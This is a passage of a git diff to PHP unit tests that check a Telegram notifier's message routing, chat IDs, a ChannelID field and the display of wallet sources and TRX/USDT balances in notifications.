str_contains($request->url(), '/botsystem-token/') + && ($request->data()['chat_id'] ?? null) === '200' + && str_contains($text, 'ChannelID') + && str_contains($text, 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'); }); + Http::assertSent(function ($request) { + return str_contains($request->url(), '/botsystem-token/') + && ($request->data()['chat_id'] ?? null) === '100'; + }); + Http::assertSentCount(2); } #[Test] @@ -75,9 +83,14 @@ class TelegramNotifierRoutingTest extends TestCase app(TelegramNotifier::class)->notifyNewDevice('dev-official-1', '16.0', '1.2.3.4'); Http::assertSent(function ($request) { + $text = (string) ($request->data()['text'] ?? ''); + return str_contains($request->url(), '/botsystem-token/') - && ($request->data()['chat_id'] ?? null) === '100'; + && ($request->data()['chat_id'] ?? null) === '100' + && str_contains($text, 'ChannelID') + && str_contains($text, 'ffffffffffffffffffffffffffffffff'); }); + Http::assertSentCount(1); } #[Test] @@ -109,8 +122,13 @@ class TelegramNotifierRoutingTest extends TestCase app(TelegramNotifier::class)->notifyNewDevice('dev-fallback', '16.0', '1.2.3.4'); Http::assertSent(function ($request) { + $text = (string) ($request->data()['text'] ?? ''); + return str_contains($request->url(), '/botsystem-token/') - && ($request->data()['chat_id'] ?? null) === '100'; + && ($request->data()['chat_id'] ?? null) === '100' + && str_contains($text, 'ChannelID') + && str_contains($text, '12121212121212121212121212121212'); }); + Http::assertSentCount(1); } } diff --git a/tests/Unit/WalletAddressDisplayTest.php b/tests/Unit/WalletAddressDisplayTest.php index f286acb..f4e836f 100644 --- a/tests/Unit/WalletAddressDisplayTest.php +++ b/tests/Unit/WalletAddressDisplayTest.php @@ -46,6 +46,7 @@ class WalletAddressDisplayTest extends TestCase return str_contains($text, 'Source: imToken') && str_contains($text, 'Balance: TRX: 0 USDT: 0') + && str_contains($text, 'ChannelID') && ! str_contains($text, 'Balance: imToken'); }); }